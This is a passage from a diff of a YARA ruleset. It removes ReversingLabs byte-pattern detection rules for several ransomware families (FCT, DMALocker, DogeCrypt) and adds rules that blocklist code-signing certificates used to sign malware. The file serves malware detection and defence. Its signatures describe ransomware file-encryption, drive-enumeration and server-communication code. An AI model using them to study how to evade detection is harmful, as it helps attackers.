"b158ad56c92a926f7398a27b3576c259e39c9716ef192fa5944ce3cffdc6d7d0" + logic_hash = "f849b6899b6766807cfddf99ecb809fe923f35f04de09b62235da352ce6e6e24" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "FCT" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? - ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 51 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 33 DB 8B 55 ?? 33 C9 8B 75 - ?? 89 9D ?? ?? ?? ?? 85 D2 74 ?? 66 90 83 7D ?? ?? 8D 45 ?? 0F 43 C6 0F BE 04 08 41 - 03 D8 3B CA 72 ?? 89 9D ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? - ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B CF C7 45 ?? ?? ?? ?? ?? 33 C0 - C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 - F9 51 57 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 75 ?? 8B C6 8B 55 ?? 2B C2 83 F8 ?? - 72 ?? 83 FE ?? 8D 45 ?? 8D 4A ?? BB ?? ?? ?? ?? 0F 43 45 ?? 89 4D ?? 66 89 1C 50 33 - D2 66 89 14 48 EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? - ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 - } - $find_files_p2 = { - 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 - ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? - 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 FF 15 ?? ?? - ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 55 ?? 8D 48 ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 52 - ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 - FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 - C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D - ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 E8 - } - $encrypt_files_p1 = { - 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 57 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? 8B 75 ?? 8B C6 8B 55 ?? 2B C2 83 F8 ?? 72 ?? 83 FE ?? 8D 45 ?? 8D 4A ?? BB ?? ?? - ?? ?? 0F 43 45 ?? 89 4D ?? 66 89 1C 50 33 D2 66 89 14 48 EB ?? 6A ?? 68 ?? ?? ?? ?? - C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 8B 5D ?? 2B CA 8B 55 ?? 8B C3 D1 F9 2B - C2 3B C8 77 ?? 83 FB ?? 8D 04 09 50 8D 75 ?? 0F 43 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 3C - 0A 89 7D ?? 8D 04 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 8D 85 ?? - ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 81 BD - ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 - ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F - 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F2 85 F6 74 - } - $encrypt_files_p2 = { - 6A ?? 8D 45 ?? 50 A1 ?? ?? ?? ?? 2B C6 56 03 C1 50 57 FF 15 ?? ?? ?? ?? 2B 75 ?? 74 - ?? 8B 8D ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 33 C0 8B 9D ?? ?? ?? ?? - BA ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 CB ?? 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 89 95 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8D 48 ?? 3B CA 76 ?? C6 85 ?? ?? ?? ?? ?? FF B5 - ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 95 ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? 3B C2 77 ?? 8D 34 00 89 85 ?? - ?? ?? ?? 83 FA ?? 8D BD ?? ?? ?? ?? 56 0F 43 BD ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 - C4 ?? 33 C0 66 89 04 37 EB ?? 50 51 C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 83 F8 ?? - 72 ?? 83 FA ?? 8D B5 ?? ?? ?? ?? 6A ?? 0F 43 B5 ?? ?? ?? ?? 8D 79 ?? 68 ?? ?? ?? ?? - 89 BD ?? ?? ?? ?? 8D 04 4E 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 6A ?? - 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? - ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 8D ?? ?? ?? ?? 83 7D - ?? ?? 51 0F 43 45 ?? 50 FF 15 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Software Plugin Ltd." and pe.signatures [ i ] . serial == "1e:fe:65" and 1063224491 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_0Af7E2B6A3Deb99291Dcaf66 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "f9c18796-995e-58f8-8406-9adcad143ae7" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14476-L14492" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "270b5655a0f54abceb520eaca714ed4f6d4de720883e2759acd5bb2f027dfd2b" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "0a:f7:e2:b6:a3:de:b9:92:91:dc:af:66" and 1474523112 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Dmalocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_45E27C4Dfa5E6175566A13B1B6Ddf3F5 : INFO FILE { meta: - description = "Yara rule that detects DMALocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3ddef0f1-61c9-59f6-a02c-35768c2cd4d6" - date = "2020-06-26" - modified = "2020-07-15" + id = "b4ab6397-5e15-5eb3-9f5d-658c5e3a7e3d" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DMALocker.yara#L1-L149" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14494-L14510" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "107dbc4cacd9d451e9c6fe8aa91cd612f70ac767ee70f74f3a77d1e5548b054f" + logic_hash = "9bcbb84207984b259463482f094bf0f3815f0d74317b6b864dab44769ff5e7e8" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "DMALocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $dmalock_v1_encrypt_files_1 = { - 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? - ?? ?? A3 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 - F8 ?? 75 ?? 32 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8A 9D ?? ?? ?? - ?? 33 C0 84 DB 74 ?? EB ?? 8D [2-5] 8A 90 ?? ?? ?? ?? 84 D2 74 ?? 8A 8C 05 - ?? ?? ?? ?? 3A CA 74 ?? 80 F1 ?? 3A CA 75 ?? 40 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 8A 8C - 05 ?? ?? ?? ?? 3A 88 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 84 DB 74 ?? 8A 90 ?? ?? ?? - ?? 84 D2 74 ?? 8A 8C 05 ?? ?? ?? ?? 3A CA - } - $dmalock_v1_encrypt_files_2 = { - EB ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? 52 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? - ?? 8B 4D ?? 5F 5E 33 CD B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $dmalock_v1_encrypt_files_3 = { - 74 ?? 80 F1 ?? 3A CA 75 ?? 40 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 8A 8C 05 ?? ?? ?? ?? 3A - 88 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 8D 95 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 52 E8 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 83 C4 ?? A8 ?? 74 ?? A8 ?? 0F 85 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 56 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 55 - ?? 8B 85 ?? ?? ?? ?? 52 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 - } - $dmalock_v1_enum_shares_and_discs_type_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ?? - ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 C4 ?? 89 ?? ?? ?? ?? ?? C6 85 ?? - ?? ?? ?? ?? 85 ?? 0F 84 ?? ?? ?? ?? ?? 32 DB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? ?? - 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 ?? 6A ?? 89 45 ?? 66 89 45 ?? 88 45 ?? 8D 45 ?? - 6A ?? 50 88 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 75 ?? B3 ?? 6A ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 5F 5E 5B 8B 4D ?? 33 CD - E8 ?? ?? ?? ?? 8B E5 5D C3 8D 95 ?? ?? ?? ?? 52 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 72 ?? C6 - 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? - 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 51 52 68 - } - $dmalock_v1_enum_shares_and_discs_type_2 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 8B 5D ?? 56 57 - 8D 8D ?? ?? ?? ?? 51 50 6A ?? 6A ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B 95 ?? ?? ?? - ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 85 FF 75 ?? 50 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? - ?? 8D A4 24 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 57 8D 95 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? 76 ?? 8D 77 ?? EB ?? 8D A4 24 - ?? ?? ?? ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 - C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0E 8B C1 83 C4 ?? 8D 78 ?? 8B FF 8A 10 40 84 - D2 75 ?? 2B C7 50 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 06 83 C4 ?? 8D 50 ?? 90 - 8A 08 40 84 C9 75 ?? 2B C2 6A ?? 8D 84 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 8B 4D ?? 83 C4 ?? 51 8D 95 ?? ?? ?? ?? 53 52 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 - C4 ?? 8B 46 ?? 83 E0 ?? 3C ?? 75 ?? 8B 4D ?? 51 53 8D 56 ?? 52 E8 ?? ?? ?? ?? 85 C0 - 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 40 83 C6 ?? 89 85 ?? - ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 50 - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 8B 4D ?? F7 D8 5F 1B C0 5E 33 CD 40 5B E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $dmalock_v1_enum_shares_and_discs_type_3 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 6A ?? 51 8B D8 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? F7 C3 ?? ?? ?? ?? 76 ?? 57 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? - ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B F0 56 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 FE ?? 74 ?? 83 FE ?? 74 ?? 83 FE ?? 75 ?? 8B - 55 ?? 8B 85 ?? ?? ?? ?? 52 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 47 D1 EB - FF 8D ?? ?? ?? ?? 75 ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $dmalock_v2_enum_logical_disks = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 33 DB 68 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 53 50 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BE 4D ?? 51 8D 95 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 88 9D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? - ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 75 ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? - B0 ?? 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 8A C3 33 CD 5B E8 ?? ?? - ?? ?? 8B E5 5D C3 - } - $dmalock_v4_remote_server_communication = { - 85 FF 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 FB ?? 0F - 87 ?? ?? ?? ?? FF 24 9D ?? ?? ?? ?? 8B 46 ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 - C4 ?? B0 ?? C3 8B 4E ?? 8B 56 ?? 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 - ?? C3 8B 46 ?? 8B 4E ?? 50 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B - 56 ?? 8B 46 ?? 52 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 4E ?? 8B - 56 ?? 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 46 ?? 8B 4E ?? 8B - 56 ?? 50 51 52 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 8B 46 ?? 8B 4E ?? - 50 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B0 ?? C3 32 C0 C3 - } - $dmalock_v4_encrypt_file_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ?? - ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 56 - 32 DB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 56 - 6A ?? 89 45 ?? 89 45 ?? 66 89 45 ?? 8D 45 ?? 6A ?? 50 88 5D ?? E8 ?? ?? ?? ?? 6A ?? - 8D 4D ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? 6A ?? 57 56 E8 - ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 4D ?? - 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $dmalock_v4_encrypt_file_2 = { - 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ?? - ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B - D8 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? 0F 85 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ?? ?? 85 F6 74 - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 46 ?? 85 C0 74 ?? 8B 75 ?? B9 ?? ?? ?? - ?? 8B F8 F3 A5 66 A5 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 46 - ?? EB ?? 33 F6 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 7E ?? 57 89 35 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8B C6 E8 ?? ?? ?? ?? 84 C0 74 ?? 8B 4E ?? 8B 17 56 6A - ?? 6A ?? 68 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 74 ?? C6 46 ?? ?? 8B B5 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 53 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 56 6A ?? 6A ?? 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 56 52 6A ?? 53 E8 ?? ?? ?? ?? 8B 45 ?? - 8B 8D ?? ?? ?? ?? 56 50 6A ?? 51 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33 - CD B8 ?? ?? ?? ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Selig Michael Irfan" and pe.signatures [ i ] . serial == "45:e2:7c:4d:fa:5e:61:75:56:6a:13:b1:b6:dd:f3:f5" and 1465474542 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_37D36A4E61C0Ac68Ceb8Bfcef2Dbf283 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "8fc73b48-6797-558a-8265-9aca396e899f" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14512-L14528" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "41e126600aae5646b808ed0a4294faa9a63e47842e9cde4fee9e5e65919af7ee" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_1 ) or ( $dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_2 ) or ( $dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_3 ) or ( $dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_1 and $dmalock_v2_enum_logical_disks ) or ( $dmalock_v4_encrypt_file_1 and $dmalock_v4_encrypt_file_2 and $dmalock_v4_remote_server_communication and $dmalock_v2_enum_logical_disks ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ANAVERIS LIMITED" and pe.signatures [ i ] . serial == "37:d3:6a:4e:61:c0:ac:68:ce:b8:bf:ce:f2:db:f2:83" and 1532476800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Dogecrypt : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4321De10738278B93683Ca542407F103 : INFO FILE { meta: - description = "Yara rule that detects DogeCrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e0ca22a5-70bb-5d2c-bce4-bac49c2a81d2" - date = "2021-04-28" - modified = "2021-04-28" + id = "bf800655-cde4-59fa-9574-1055522fe074" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DogeCrypt.yara#L1-L114" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14530-L14546" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1c19862884cf1e59d12c84f5ff6f799a4087ddc8bd887e0d2ce7da053642b851" + logic_hash = "2787375605310877891ef924268f4660d1c8aa020e00674c1b1d7eb3c4f5b2fb" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "DogeCrypt" - 